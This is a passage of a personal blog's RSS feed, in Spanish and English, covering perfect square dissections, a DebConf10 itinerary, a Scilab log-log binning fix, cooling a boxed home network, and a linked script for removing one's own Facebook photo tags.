<p>El número es el largo del cateto de triángulo. Estamos entrando en un terreno donde ahora las cosas son difíciles de imaginar a primera vista. Uno podría empezar a preguntarse en cuántas formas distintas se pueden hacer estas disecciones, si es que hay mas de una. Y si hubiese, cómo se pueden construir. En un <a href="http://linkinghub.elsevier.com/retrieve/pii/S0095895600919877">interesante y largo paper de 1999</a>, Skinner II et. al. proponen una analogía con <a href="http://es.wikipedia.org/wiki/Leyes_de_Kirchhoff_de_circuitos_el%C3%A9ctricos">la primera ley de Kirchhoff (si, esa sobre los nodos de los circuitos eléctricos)</a> para ayudar a la construcción de disecciones perfectas de cuadrados. Este método genera disecciones a triángulos rectángulos isósceles que cortan la diagonal principal de cuadrado que los contiene (lo que permite generar disecciones simples, explicadas más adelante). Como en el siguiente ejemplo extraído de la <a href="http://www.lucianobello.com.ar/blog/On_the_Dissection_of_Rectangles_into_Right-Angled_Isosceles_Triangles.pdf">página 33 del paper</a>:</p>
<p><center><img src="http://www.lucianobello.com.ar/blog/square_12_15_skinner.jpg" alt="" /></center></p>
<p>La siguiente pregunta es si existen disecciones perfectas en otras formas <em>interesantes</em>. Por ejemplo, Brooks et. al. <a href="http://www.math.niu.edu/~rusin/known-math/99/equilateral">demostraron que no es posible</a> dividir un triángulo equilátero en triángulos equiláteros de forma perfecta. En <a href="http://projecteuclid.org/euclid.dmj/1077492259">ese mismo trabajo de 1940</a> se señala que, a diferencia de la perfectibilidad, era posible hacer una disección de equiláteros en equiláteros que fuese <strong>simple</strong>.</p>
<p>Se dice que una disección es <strong>simple</strong> cuando ningún subconjunto de 2 o más elementos forma una figura de las informalmente definidas como <em>interesante</em>. Por ejemplo, en el caso de la distribución propuesta por Stone que ya mencionamos, el subconjunto de elementos pintado con verde forma un triángulo rectángulo isósceles:<br />
<center><img src="http://www.lucianobello.com.ar/blog/x7-7PA.jpg" alt="" /></center><br />
Por lo que definimos esta disección como <strong>compuesta</strong> en contraposición a la <strong>simple</strong> que expone Skinner et. al.</p>
<p>Una disección puede ser simple y no perfecta, o viceversa. Así, y como venía diciendo, Brooks et. al. dicen que es posible dividir un triángulo equilátero en triángulos equiláteros de forma simple, aunque imperfecta. Dicha forma fue presentada por <a href="http://www.squaring.net/history_theory/brooks_smith_stone_tutte_II.html">William Tutte</a>, un famoso criptoanalista británico, y es así:<br />
<center><img src="http://www.squaring.net/tri/gfx/wtt-15-39.gif" alt="" /></center><br />
Y como en la vida misma, lo simple y lo perfecto perecen ser cualidades que cuesta ver en conjunto. Pero que, para belleza de la cosas, no es imposible de encontrar. Así es que me gustaría presentarles el cuadrado de menor orden que puede dividirse en cuadrados de forma simple y perfecta, descubierto por <a href="http://www.squaring.net/history_theory/duijvestijn.html">Adrianus Johannes Wilhelmus Duijvestijn</a> la noche del 22 de Marzo de 1978:</p>
<p><center><img src="http://mathworld.wolfram.com/images/eps-gif/PerfectSquare21_1100.gif" alt="" /></center></p>
<p>Esta disección en 21 cuadrados desiguales que no forman subconjuntos de cuadrados es lo que se conoce como <strong>la disección de Duijvestijn</strong>, y se pueden <a href="http://math-art.spreadshirt.com/duijvestijn-dissection-A4632968">comprar remeras con su estampa</a>. Si bien Duijvestijn ya había descubierto disecciones perfectas simples del cuadrado de ordenes superiores, había probado, junto a <a href="http://www.squaring.net/history_theory/chris_bouwkamp.html">Bouwkamp</a>, que no era posible crear estas disecciones en órdenes menores a 20. De ahí el esfuerzo por encontrar la más pequeña de las posibilidades.</p>
<p>Espero no haberlos aburrido en demasía. Para mí fue muy entretenido y aprendí muchísimo sobre álgebra y geometría, así como formas de representación imaginativas de conceptos geométricos que permiten razonar de forma algorítmica. Si quieren aprender más sobre los temas tratados en esta entrada, pueden consultar la página <a href="http://www.squaring.net/">Squaring.net</a> que está totalmente dedicada a este tipo de puzzles e incluye biografía de las personalidades referentes del área, así  como otros temas relacionados. Este post está fuertemente basado en esta web. El artículo de <a href="http://mathworld.wolfram.com/PerfectSquareDissection.html">Wolfram MathWorld</a> al respecto también es muy entretenido. Se puede chusmear la página de wikipedia sobre el problema de <a href="http://en.wikipedia.org/wiki/Squaring_the_square">Squaring the square</a> para una idea más breve de la representación de Smith.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/diseccion_perfecta/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>DebConf10 meme</title>
		<link>http://www.lucianobello.com.ar/post/debconf10-meme/</link>
		<comments>http://www.lucianobello.com.ar/post/debconf10-meme/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 18:57:23 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[debian]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[planet]]></category>
		<category><![CDATA[sorry for my english]]></category>
		<category><![CDATA[wtf?!]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1316</guid>
		<description><![CDATA[I happy to announce that I bought the tickets, so&#8230; To save on the price, the itinerary includes a couple of long waits: AV88 EZE-BOG: 6h 30m Waiting at BOG: 10h 50m AV20 BOG-JFK: 5h 35m AV21 JFK-BOG: 6h 00m Waiting at BOG: 9h 10m AV87 BOG-EZE: 6h 15m Summarizing, almost half of the trip [...]]]></description>
			<content:encoded><![CDATA[<p>I happy to announce that I bought the tickets, so&#8230;</p>
<p><center><a href="http://debconf10.debconf.org/"><img class="aligncenter" title="im_going_to_debconf10" src="http://www.lucianobello.com.ar/blog/im_going_to_debconf10.png" alt="" width="200" height="101" /></a></center>To save on the price, the itinerary includes a couple of long waits:</p>
<ul>
<li>AV88 EZE-BOG: 6h 30m</li>
<li>Waiting at BOG: 10h 50m</li>
<li>AV20 BOG-JFK: 5h 35m</li>
<li>AV21 JFK-BOG: 6h 00m</li>
<li>Waiting at BOG: 9h 10m</li>
<li>AV87 BOG-EZE: 6h 15m</li>
</ul>
<p>Summarizing, almost half of the trip is waiting&#8230; :P</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/debconf10-meme/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>log log binning</title>
		<link>http://www.lucianobello.com.ar/post/log-log-binning/</link>
		<comments>http://www.lucianobello.com.ar/post/log-log-binning/#comments</comments>
		<pubDate>Fri, 22 Jan 2010 21:48:11 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[probability & statistics]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1288</guid>
		<description><![CDATA[Una de las materias que hice el año pasado (estrictamente hablando, aún la estoy haciendo) fue Topología de Internet, con Nacho Alvarez-Hamelin. En ella estudié a Internet como sistema complejo, donde routers y/o ASs se interconectan y forman un grafo. Una de las propiedades más características de los grafos es su distribución de grados. El [...]]]></description>
			<content:encoded><![CDATA[<p>Una de las materias que hice el año pasado (estrictamente hablando, aún la estoy haciendo) fue <em>Topología de Internet</em>, con <a href="http://cnet.fi.uba.ar/ignacio.alvarez-hamelin/index_es.html"><em>Nacho</em> Alvarez-Hamelin</a>. En ella estudié a Internet como <a href="http://es.wikipedia.org/wiki/Sistema_complejo">sistema complejo</a>, donde routers y/o <a href="http://www.ietf.org/rfc/rfc1930.txt">AS</a>s se interconectan y forman un <a href="http://es.wikipedia.org/wiki/Grafo">grafo</a>.</p>
<p><img src="http://upload.wikimedia.org/wikipedia/commons/thumb/5/5b/6n-graf.svg/333px-6n-graf.svg.png" alt="" width="333" height="220" align="left" />Una de las propiedades más características de los grafos es su <a href="http://es.wikipedia.org/wiki/Distribuci%C3%B3n_de_grado">distribución de grados</a>. El <a href="http://es.wikipedia.org/wiki/Grado_%28teor%C3%ADa_de_grafos%29">grado</a> es la cantidad de vértices que tiene un nodo. En el ejemplo de la izquierda, el nodo 4 tiene grado 3. La distribución de grados es una característica del grafo en su conjunto y no es otra cosa que contar cuántos nodos hay con grado 0, cuántos con grado 1, y así siguiendo. En el caso de la topología de Internet, no hay nodos con grado 0, ya que es una red totalmente conexa (triste sería estar conectado a ese router que no está conectado a nada más).</p>
<p>La topología de Internet (es decir, cómo se interconectan sus componentes) no se conoce a ciencia cierta (tema que quedará para otro post) pero hay algunos acercamientos académicamente aceptados. Uno de ellos es el de <a href="http://www.caida.org/data/active/as-relationships/">CAIDA</a> que provee información sobre como están conectados los distintos sistemas autónomos. <a href="http://www.caida.org/data/request_user_info_forms/as_relationships.xml">Esta data</a>, después de modificar un poco su formato, puede ser analizada con el módulo <a href="http://sourceforge.net/projects/complex-sys-sci/">Complex Systems Toolbox</a>, para <a href="http://www.scilab.org/">Scilab</a>, un clon libre de <a href="http://www.mathworks.com/">Matlab</a>.<br />
Resulta ser que, al analizar la distribución de grados de la topología de Internet, uno se encuentra con una <a href="http://es.wikipedia.org/wiki/Ley_potencial">distribución de ley potencial</a> (<em>chocolate por la noticias</em>, dirían los hermanos Faloutsos, que <a href="http://www.cis.upenn.edu/~mkearns/teaching/NetworkedLife/power-internet.pdf">ya sabían esto desde 1999</a>). </p>
<p><img src="http://www.geo.lsa.umich.edu/~ruff/geo284.F2003/EQs/powerLaw.gif" alt="" align="right" />Esta ley de potencia (en inglés, power law) es una relación en que la frecuencia de un hecho cae de forma exponencial con respecto a la magnitud. Este tipo de distribuciones tiene una forma de panza hacia el eje de coordenadas y abunda en la naturaleza™, desde el crecimiento de los ríos hasta la popularidad de las personas en las redes sociales. Por su forma tan particular, se suele dibujar en ejes logarítmicos, quedando como una recta que se caracteriza por su pendiente (en el dibujo, <em>b</em>), que es el exponente de la curva en ejes lineales.</p>
<p>En estos dibujos, la curva es continua y elegante. Pero cuando uno va al mundo discreto de la modelización de fenómenos, la cosa cambia. Y mucho. Por ejemplo, este es el gráfico de la distribución de grados de la topología de AS, según CAIDA:<br />
<img src="http://www.lucianobello.com.ar/blog/caida.power_law.png" alt="" /><br />
Los puntos rojos son las muestras discretas, las uní solo para que se aprecie mejor cuál va delante de cada cuál. Como se ve, la cosa no queda tan prolijita y agradable. Es que hay veces que la naturaleza™ se resiste a ser modelada con una fórmula y la <a href="http://en.wikipedia.org/wiki/Power_law#Estimating_the_exponent_from_empirical_data">estimación de al pendiente cuando se trata de datos experimentales</a> puede ser complicada, sobre todo en la cola. Así es como llegamos al concepto de <em>binning</em>.</p>
<p>La idea es sencilla. Consiste en dividir el eje <em>x</em> es zócalos (bins) de tamaño fijo. Después tomar todas las muestras que caigan en un bin y promediarlas. Así, se grafica solo este promedio como un único punto que representa a todo el bin. Como estamos trabajando con ejes logarítmicos, el calculo del ancho de los bins requiere cierta aritmética, dado que estos se van ampliando exponencialmente (de forma tal que queden todos del mismo tamaño, o casi, al plotearlos). A esto lo llamamos <em>log log binning</em>.</p>
<p>Por suerte, el <a href="http://sourceforge.net/projects/complex-sys-sci/">Complex Systems Toolbox</a> tiene <a href="http://complex-sys-sci.svn.sourceforge.net/viewvc/complex-sys-sci/trunk/Complex_Systems/macros/log_log_binning.sci?view=log">una función</a> para hacer esta magia. Y aquí está el resultado:<br />
<img src="http://www.lucianobello.com.ar/blog/log_log_binning_old.jpg" alt="" /><br />
Las muestras son las cruces rojas, mientras que los puntos verdes son los representantes de binning. Puede verse que están casi equidistantes, sobre todo  después de 10.  Por otro lado ¿no notan nada raro acá? Vamos por partes. En la parte inicial de la curva, ésta aparece por debajo de la línea de las cruces rojas. Esto empieza a tener poco sentido. Se supone que el promedio de un único punto es ese mismo punto.</p>
<p>Más grave aún es lo que ocurre en la cola. Ahí, esporádicos puntos (hay muchos ceros) generan una recta paralela al eje. Cuando uno promedia varios valores el resultado debería ser cada vez menor si la cantidad de ceros aumenta. Sin embargo, aquí la curva se suaviza hasta perder toda su inclinación.</p>
<p>Fue así como decidí mejorar esta funcion de <em>log log binning</em> (si, toda esta introducción para contarles esto&#8230; es que evidentemente soy muy <a href="http://buscon.rae.es/draeI/SrvltConsulta?LEMA=pedante">pedante</a>). A continuación, el mismo gráfico, resultado de mi propia implementación:<br />
<img src="http://www.lucianobello.com.ar/blog/log_log_binning_new.jpg" alt="" /><br />
Algunas reimplementaciones por acá, fixeo de bugs por allá y ahora la pendiente se puede ver mucho más clara. Obvio que también podías leerte <a href="http://www.cis.upenn.edu/~mkearns/teaching/NetworkedLife/power-internet.pdf">el paper de los hermanos Faloutsos</a>, donde se explica que <em>b</em> está entre <em>2.1</em> y <em>2.4</em>, pero no hubiese sido igual de divertido. Tuve que leer bastante y entender aritmética que había olvidado. Putié mucho contra scilab/matlab pero terminé descubriéndole cosas interesantes. En general, fue algo bastante entretenido.</p>
<p>La nueva implementación de <em>log log binning</em> ya está en el trunk de <a href="http://sourceforge.net/projects/complex-sys-sci/">Complex Systems Toolbox</a> y seguramente estará disponible en la próxima versión. También incluí novedades para graficar distribución de grados cuando los grafos son dirigidos y algunas otras pequeñeses de formato.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/log-log-binning/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>(hot) boxing network</title>
		<link>http://www.lucianobello.com.ar/post/hot-boxing-network/</link>
		<comments>http://www.lucianobello.com.ar/post/hot-boxing-network/#comments</comments>
		<pubDate>Tue, 12 Jan 2010 22:58:49 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[procrastination]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1277</guid>
		<description><![CDATA[Hace unos días comenté que, por razones de practicidad, metí todos mis aparatos de redes en una caja. Si bien le puse alguna ventilación no forzada, varios amigos y conocidos insistieron en la alta temperatura que podía llegar a alcanzarse dentro del susodicho tupperware. Desde mi punto de vista, no hay (había) nada de que [...]]]></description>
			<content:encoded><![CDATA[<p>Hace unos días <a href="http://www.lucianobello.com.ar/post/boxing-network/">comenté</a> que, por razones de practicidad, metí todos mis aparatos de redes en una caja. Si bien le puse alguna ventilación no forzada, <a href="http://www.facebook.com/notes/luciano-bello/boxing-network/246818258745">varios amigos y conocidos insistieron</a> en la alta temperatura que podía llegar a alcanzarse dentro del susodicho tupperware. Desde mi punto de vista, no hay (había) nada de que preocuparse.</p>
<p>Pero hablar es gratis, así que decidí ir a los papeles y a las pruebas concretas, para lo que, evidentemente, era necesario un termómetro. Fue así como encontré la excusa para hacerme de <a href="http://www.tumedicion.com/product_info.php?cPath=1_85&amp;products_id=36">uno</a>, tal como se puede ver:</p>
<p><img src="http://www.lucianobello.com.ar/blog/boxing_thermometer.png" alt="" /><br />
Ahora puedo saber que dentro de la caja la temperatura ronda los 48ºC, aunque tiene picos de 50ºC cuando hace calor en el living. En lo personal, era más o menos lo que calculaba. El sensor lo fijé a la tapa superior, con lo que voy a suponer que es el lugar más caliente de la caja (aunque tal vez lo sea entre los transformadores, no se&#8230;).</p>
<p>Con la intensión de ver que tan grave puede ser esto para los equipos en su interior, me puse a recolectar las especificaciones de la parte electrónica (¿debería preocuparme también por las condiciones en la que trabajan los transformadores?). Aquí, la lista de dispositivos con el rango de temperatura operativo y links a las fuentes:</p>
<ul>
<li>Access Point <a href="http://www.d-link.com/products/?pid=18">D-Link DWL-800AP+</a>: <a href="ftp://ftp10.dlink.com/pdfs/products/DWL-800AP+/DWL-800AP+_ds.pdf">de 0º a 55ºC</a></li>
<li> Router+switch <a href="http://www.linksysbycisco.com/US/en/products/BEFSX41">Linksys BEFSX41</a>:  <a href="http://downloads.linksysbycisco.com/downloads/datasheet/BEFSX41v2_ds.pdf">de 0ºC a</a><a href="http://downloads.linksysbycisco.com/downloads/datasheet/BEFSX41v2_ds.pdf"> <strong><span style="color: #ff0000;">40ºC</span></strong></a></li>
<li>Cable Modem <a href="http://www.cisco.com/web/consumer/support/modem_DPC2100.html">Scientific Atlanta DPC2100</a>: <a href="http://www.arenaservicesinc.com/manuals/Cable_Modems/SA/DPC2100datasheet.pdf">de 0ºC a <strong><span style="color: #ff0000;">40ºC</span></strong></a></li>
<li>SIP terminal <a href="http://www.grandstream.com/products/ht_series/ht486/ht486.html">Grandstream HandyTone 486</a>: <a href="http://downloads.linksysbycisco.com/downloads/datasheet/BEFSX41v2_ds.pdf">de 0ºC a</a><a href="http://www.grandstream.com/products/ht_series/general/marketing/ht_brochure_english.pdf"> <strong><span style="color: #ff0000;">40ºC</span></strong></a></li>
</ul>
<p>Para mi sorpresa (es que claramente soy un ignorante) 3 de los 4 aparatos tienen temperaturas máximas de operación de 40ºC, ~10ºC menos de lo que se respira por esos lares.</p>
<p>Evidentemente, estimados comentaristas, tenían razón. Es que soy un cabeza dura, ya lo saben. El hecho es que tal vez sí debería preocuparme un poco más por bajar la temperatura de ese cajón si es que quiero que mi pequeña red siga funcionando.</p>
<p><strong>update 16 Jan 2010 12:01:10 -0300</strong>: Finalmente le puse un ventilador que expulse aire en la tapa (no solo fue la sugerencia de muchos, también era el único lugar donde cabía). Uno de fuente de PC, <a href="http://en.wikipedia.org/wiki/Brushless_DC_electric_motor"><em>brushless</em></a>.</p>
<p><img src="http://www.lucianobello.com.ar/blog/boxing_fan.png" alt="" /><br />
En el mismo lugar de medición, en el que antes tenía 48ºC ahora tengo entre 37ºC y 38ºC, lo cual es buenísimo. Un amigo me sugirió que mida entre los dispositivos. Ahí la historia cambia: 43ºC (no tengo idea de cual era antes en esta ubicación). Tal vez pueda hacer un sistema de tuberías para hacer correr aire entre ellos.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/hot-boxing-network/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>boxing network</title>
		<link>http://www.lucianobello.com.ar/post/boxing-network/</link>
		<comments>http://www.lucianobello.com.ar/post/boxing-network/#comments</comments>
		<pubDate>Sat, 09 Jan 2010 19:55:33 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1274</guid>
		<description><![CDATA[Since I am a housewife (i.e. since I live on my own) my concerns have been extended to foreign horizons, such as taming dust and lint. All my network devices and wires has a particular magnetism for them. To make things worse, the devices cleaning is quiet hard. So, I decide to boxing them. All [...]]]></description>
			<content:encoded><![CDATA[<p>Since I am a housewife (i.e. since I live on my own) my concerns have been extended to foreign horizons, such as taming dust and lint. All my network devices and wires has a particular magnetism for them. To make things worse, the devices cleaning is quiet hard.</p>
<p>So, I decide to <em>boxing</em> them. All you need is a big tupperware and few rubber bands. Here is the process to build it:<br />
<center><img src="http://www.lucianobello.com.ar/blog/boxing_process.gif" alt="boxing process" /></center><br />
And this is done:<br />
<center><img src="http://www.lucianobello.com.ar/blog/boxing.png" alt="boxing" /></center></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/boxing-network/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>La UTN tiene dueño (wtf)</title>
		<link>http://www.lucianobello.com.ar/post/la-utn-tiene-dueno-wtf/</link>
		<comments>http://www.lucianobello.com.ar/post/la-utn-tiene-dueno-wtf/#comments</comments>
		<pubDate>Wed, 30 Dec 2009 15:25:49 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[procrastination]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[university]]></category>
		<category><![CDATA[wtf?!]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1270</guid>
		<description><![CDATA[Hernán me pasó un excelente link de Linkedin (redundancia necesaria), la red social orientada a negocios y el mundo profesional, cuya captura reproduzco a continuación: Mucho se me ha escuchado putear sobre el corporativismo en la universidad en este blog y otros entornos. Pero este fallido es como demasiado :P El tiempo de estudio es [...]]]></description>
			<content:encoded><![CDATA[<p>Hernán me pasó un excelente link de <a href="http://www.linkedin.com/">Linkedin</a> (redundancia necesaria), la red social orientada a negocios y el mundo profesional, cuya captura reproduzco a continuación:<br />
<center><img src="http://www.lucianobello.com.ar/blog/UTN_owned_wtf.png" alt="" /></center><br />
Mucho se me ha escuchado putear sobre el corporativismo en la universidad en este blog y otros entornos. Pero este <a href="http://es.wikipedia.org/wiki/Acto_fallido">fallido</a> es como demasiado :P<br />
El tiempo de estudio es un bonus wtf (y yo que siempre pensé que mis 8 años de carrera habían sido demasiados)&#8230; </p>
<p><small>El borroneo sobre el nombre tiene como fin no darte el dato directamente, una situación parecida a la ocurrida <a href="http://www.lucianobello.com.ar/post/not-yours/#comment-1409">acá</a>. Ya sé que lo podés conseguir, bien por ti.</small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/la-utn-tiene-dueno-wtf/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>removing your facebook photo tags automagically</title>
		<link>http://www.lucianobello.com.ar/post/rmfb-en/</link>
		<comments>http://www.lucianobello.com.ar/post/rmfb-en/#comments</comments>
		<pubDate>Tue, 24 Nov 2009 16:22:35 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[planet]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1242</guid>
		<description><![CDATA[Este post también está escrito en español aquí. Privacy at Facebook is heavy-duty. As a big fan of the Worlds Collide Theory I hate be tagged compulsively. I would like to select in which photos appear in my profile and feed. Since I couldn&#8217;t find that option in the setting menu, I looked for the [...]]]></description>
			<content:encoded><![CDATA[<p><small>Este post también está escrito en español <a href="http://www.lucianobello.com.ar/post/rmfb-es/">aquí</a></small>.</p>
<p>Privacy at <a href="http://www.facebook.com/privacy/">Facebook</a> is heavy-duty. As a big fan of the <a href="http://www.urbandictionary.com/define.php?term=Worlds Collide Theory">Worlds Collide Theory</a> I hate be tagged compulsively. I would like to select in which photos appear in my profile and feed. Since I couldn&#8217;t find that option in the setting menu, I looked for the answer in my favorite scripting language: <a href="http://www.python.org/">Python</a>.</p>
<p><a href="http://python.pastebin.com/f55c5896f">This 60-lines-long script</a> removes your tag from the latests photos where you has been labelled. You can download it from <a href="http://www.lucianobello.com.ar/rmfb/">here</a>. You may run it hourly (or every 15 minutes, or every 5 minutes, depends how paranoid you are) via <a href="http://en.wikipedia.org/wiki/Cron">cron</a> or whatever.</p>
<p>Any improvement is welcome. It probably runs on Windows too. If you managed to do it, leave a comment for the others.</p>
<p><strong>NEW VERSION!</strong> (available <a href="http://www.lucianobello.com.ar/rmfb/">here</a>).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/rmfb-en/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>remover tu etiqueta de las fotos de facebook automágicamente</title>
		<link>http://www.lucianobello.com.ar/post/rmfb-es/</link>
		<comments>http://www.lucianobello.com.ar/post/rmfb-es/#comments</comments>
		<pubDate>Tue, 24 Nov 2009 16:21:24 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[planeta]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1245</guid>
		<description><![CDATA[This post has been written in English too. La privacidad en Facebook es un asunto complejo. Como gran suscriptor a la Teoría de Colisión de Mundos es que odio ser etiquetado en fotos de forma compulsiva. Me gustaría tener alguna forma de elegir en que fotos aparezco en mi perfil y actualizaciones. Dado que no [...]]]></description>
			<content:encoded><![CDATA[<p><small>This post has been written <a href="http://www.lucianobello.com.ar/post/rmfb-en/">in English too</a></small>.</p>
<p>La privacidad en <a href="http://www.facebook.com/privacy/">Facebook</a> es un asunto complejo. Como gran suscriptor a la <a href="http://www.urbandictionary.com/define.php?term=Worlds Collide Theory">Teoría de Colisión de Mundos</a> es que odio ser etiquetado en fotos de forma compulsiva. Me gustaría tener alguna forma de elegir en que fotos aparezco en mi perfil y actualizaciones. Dado que no pude encontrar tal opción entre la configuración, busqué la respuesta en mi lenguaje de scripting favorito: <a href="http://www.python.org/">Python</a>.</p>
<p><a href="http://python.pastebin.com/f55c5896f">Este script de 60 lineas</a> remueve tu etiqueta de las últimas fotos donde te hayan tagueado. Puede ser descargado desde <a href="http://www.lucianobello.com.ar/rmfb/">aquí</a>. Hay que correrlo cada hora (o cada 15 minutos, o cada 5, dependiendo de que tan paranoico seas) a través de <a href="http://en.wikipedia.org/wiki/Cron">cron</a> o como sea.</p>
<p>Cualquier mejora es bienvenida. Posiblemente también corra en Windows. Si lograste hacer esto, deja un comentario que pueda serle útil a otros.</p>
<p><strong>¡NUEVA VERSIÓN!</strong> (disponible <a href="http://www.lucianobello.com.ar/rmfb/">aquí</a>).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/rmfb-es/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>neue Handy</title>
		<link>http://www.lucianobello.com.ar/post/neue-handy/</link>
		<comments>http://www.lucianobello.com.ar/post/neue-handy/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 23:44:21 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[life]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1234</guid>
		<description><![CDATA[Es claro que los dioses del hardware me odian. Hace unos días comenté sobre el inconveniente con mi laptop. Alrededor de esa misma fecha, mi teléfono celular se consideró a sí mismo en edad de jubilarse. Y así lo hizo, aunque con relativo pre-aviso. Le llevó algo de dos semanas pasar de &#8220;a veces funciona [...]]]></description>
			<content:encoded><![CDATA[<p>Es claro que los <a href="http://www.urbandictionary.com/define.php?term=Hardware&#038;defid=287271">dioses del hardware</a> me odian. Hace unos días comenté sobre el <a href="http://www.lucianobello.com.ar/post/lappy-back-manizales/">inconveniente con mi laptop</a>. Alrededor de esa misma fecha, mi teléfono celular se consideró a sí mismo en edad de jubilarse. Y así lo hizo, aunque con relativo pre-aviso. Le llevó algo de dos semanas pasar de &#8220;<em>a veces funciona a veces no</em>&#8221; a &#8220;<em>creo que dejó de prender</em>&#8220;.  Es que estuvo en servicio sus años, ya ni me acuerdo cuantos.</p>
<p>Así fue como mi viejo <a href="http://www.claro.com.ar/equipos/quiero/equipos/equipo_detalle.aspx?id=579">Nokia 3220</a> fue reemplazado por un <a href="http://www.claro.com.ar/equipos/quiero/equipos/equipo_detalle.aspx?id=880">Nokia 3120</a>.</p>
<p>La diferencia es notable:<br />
<img src="http://www.lucianobello.com.ar/blog/nokia_new_old.gif" alt="" /><br />
(efectivamente, lo que tiene en la batería es <a href="http://es.wikipedia.org/wiki/Cinta_adhesiva">cinta <em>escoch</em></a>). ¡Feliz retiro 3220!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/neue-handy/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>sfd @ mdq</title>
		<link>http://www.lucianobello.com.ar/post/sfd-mdq/</link>
		<comments>http://www.lucianobello.com.ar/post/sfd-mdq/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 13:29:41 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[free software]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[lectures & talks]]></category>
		<category><![CDATA[life]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1222</guid>
		<description><![CDATA[Este sábado se celebra en Mar del Plata (tarde pero seguro) el Día de la Libertad del Software, en inglés Software Freedom Day, una celebración internacional cuyo objetivo es promover el uso del Software Libre para el beneficio del público. El evento es organizado por gulBAC (grupo de usuarios de Software Libre de Buenos Aires [...]]]></description>
			<content:encoded><![CDATA[<p>Este sábado se celebra en <a href="http://www.welcomeargentina.com/mardelplata/index_i.html">Mar del Plata</a> (tarde pero seguro) el <a href="http://es.wikipedia.org/wiki/D%C3%ADa_de_la_Libertad_de_Software">Día de la Libertad del Software</a>, en inglés <a href="http://softwarefreedomday.org/" target="_blank">Software Freedom Day</a>, <a href="http://softwarefreedomday.org/"><img align=left style="margin: 5px;" title="sfd" src="http://www.gulbac.org.ar/images/stories/sfd.jpg" alt="" width="360" height="118" /></a>una celebración internacional cuyo objetivo es promover el uso del Software Libre para el beneficio del público.</p>
<p>El evento es organizado por <a href="http://www.gulbac.org.ar/">gulBAC</a> (grupo de usuarios de Software Libre de Buenos Aires central) y tiene un <a href="http://www.gulbac.org.ar/index.php?option=com_content&amp;task=view&amp;id=79&amp;Itemid=1">cronograma</a> con temáticas de los más variado.</p>
<p>Así es como esta noche (mañana por la madrugada, para ser estrictos) me voy para <a href="http://www.welcomeargentina.com/mardelplata/index_i.html">MDQ</a> a pasear, desintoxicarme, leer la pila de papers que tengo pendientes y dar una charla sobre seguridad en el susodicho evento, todo gracias al fuerte esfuerzo de los muchachos/as de gulBAC que se vienen portando de mil maravillas</p>
<p>¿Nos vemos alla?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/sfd-mdq/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
